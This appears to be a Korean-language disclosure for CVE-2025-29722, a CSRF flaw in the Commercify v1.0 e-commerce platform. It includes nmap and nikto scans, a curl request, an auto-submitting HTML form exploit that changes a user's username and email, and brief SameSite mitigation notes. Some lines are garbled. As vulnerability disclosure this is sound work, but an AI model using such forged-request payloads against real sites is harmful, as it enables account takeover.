cypherdavy/cve-2025-29722Commercify v1.0에서의 사이트 간 요청 위조(CSRF)
발견자: David P.S Abraham (일명 Davycipher)
CVE-2025-29722가 MITRE Corporation에 의해 이 취약점에 할당되었습니다.
@yassmittal이 개발한 오픈소스 전자상거래 플랫폼 Commercify v1.0에서 CSRF 취약점이 확인되었습니다. 이 애플리케이션은 /update_settings와 같은 중요 엔드포인트에 적절한 CSRF 보호 메커니즘이 부재하여, 공격자가 다른 도메인에서 실행될 때 사용자 데이터를 수정하는 악의적인 요청을 구성할 수 있습니다.
nmap 스캔 결과 서비스가 포트 5173을 통해 접근 가능함을 확인했으며, 이는 개발 서버임을 시사합니다.
nmap -p 5173 localhost
다음으로, nikto를 사용하여 애플리케이션을 스캔한 결과 다음이 드러났습니다:
X-Frame-Options 헤더 누락Access-Control-Allow-Origin: *)애플리케이션을 탐색하는 동안 사용자 대시보드 기능을 기반으로 update_settings 엔드포인트가 있을 것으로 의심했습니다. 다음 명령어로 테스트했습니다:
curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"
404 Not Found가 반환되었지만, 이 동작은 환경에 따라 다릅니다. 유효한 배포에서는 이로 인해 전체 계정 조작이 발생할 수 있습니다.
CSRF 결함을 악용하기 위한 HTML 기반 공격:
<form action="http://localhost:5173/update_settings" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
SameSite 쿠키 속성 없음*)SameSite=Strict 또는 Lax 설정David P.S. Abraham
별칭: Davycipher